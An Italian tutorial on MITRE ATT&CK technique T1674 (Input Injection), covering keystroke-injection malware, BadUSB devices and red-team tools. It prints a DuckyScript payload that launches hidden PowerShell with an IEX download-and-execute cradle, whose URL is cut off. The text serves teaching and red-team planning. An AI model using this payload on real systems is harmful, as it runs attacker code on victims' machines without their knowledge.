Iniezione di Input: Input Injection (T1674)
La tecnica T1674 - Input Injection si colloca nella tattica TA0002 (Execution) e descrive la capacità di un attaccante di simulare pressioni di tasti sul sistema vittima per eseguire azioni arbitrarie a nome dell'utente. Il vettore può essere puramente software — codice che inietta eventi tastiera nella message loop di Windows o nelle API di input di macOS e Linux — oppure hardware, tipicamente attraverso dispositivi USB che si presentano al sistema operativo come Human Interface Devices (HID) e digitano payload predefiniti a velocità sovrumana.
L'impatto è significativo perché bypassa molti controlli tradizionali: se il dispositivo è visto come una tastiera legittima, l'endpoint accetta i comandi senza opporsi. Un caso emblematico documentato riguarda malware bancario che monitora la message loop di Windows per rilevare quando l'utente visita URL di istituti finanziari; a quel punto simula la combinazione di tasti per aprire la console sviluppatore del browser, incolla JavaScript malevolo dalla clipboard e lo esegue, alterando ad esempio i numeri di conto durante una transazione.
Sul fronte hardware, BadUSB e derivati permettono di lanciare PowerShell e scaricare payload da server controllati dall'attaccante in pochi secondi dopo l'inserimento fisico. La tecnica è particolarmente insidiosa perché combina ingegneria sociale (chiavette abbandonate, regali promozionali) e automazione, ed è associata a 1 gruppo APT documentato con 2 mitigazioni principali che agiscono su hardware e prevenzione dell'esecuzione.
Sul piano offensivo, la simulazione di Input Injection in un esercizio red team può seguire due filoni: hardware con dispositivi HID programmabili e software con injection diretta di eventi tastiera.
Sul fronte hardware, i dispositivi più diffusi in laboratorio sono USB Rubber Ducky di Hak5 (a pagamento) che utilizza il linguaggio DuckyScript, Bash Bunny (a pagamento) con capacità multi-payload, e alternative open source come Malduino o DigiSpark basate su ATtiny85 (open source, hardware low-cost). Il flusso tipico prevede la scrittura di un payload DuckyScript che apre una finestra Esegui, lancia PowerShell in modalità nascosta e scarica lo stage successivo:
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('
Dopo la compilazione con l'encoder ufficiale, il payload viene flashato sul dispositivo e il tempo di esecuzione end-to-end si misura in 3-5 secondi dall'inserimento. Questo è il pattern replicato da FIN7 con chiavette USB inviate per posta a impiegati di aziende target, camuffate da regali promozionali.
Sul fronte software, in ambito Windows si possono usare API come SendInput o keybd_event dalla libreria user32.dll, richiamabili da PowerShell tramite Add-Type con firma P/Invoke. Il framework Nishang (open source) include moduli di keystroke injection utilizzabili in scenari post-exploitation, mentre PowerSploit (open source, non più mantenuto ma ancora funzionante) offre primitivi analoghi. Su Linux, il pacchetto xdotool (open source) consente injection nei server X11 con comandi come xdotool type e xdotool key, mentre in ambienti Wayland la situazione è più restrittiva e richiede ydotool (open source) che opera a livello uinput.
Su macOS, AppleScript e osascript permettono di sintetizzare tasti tramite System Events, ad esempio con tell application "System Events" to keystroke, sebbene le protezioni TCC richiedano consenso esplicito per Accessibility.
Per un red team ben strutturato, la fase di planning include la verifica che il target abbia porte USB attive, la profilazione della tastiera predefinita del sistema (layout QWERTY vs AZERTY influenza i payload) e la preparazione di un canale C2 resiliente come Mythic (open source) o Sliver (open source) per gestire lo stage post-injection.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo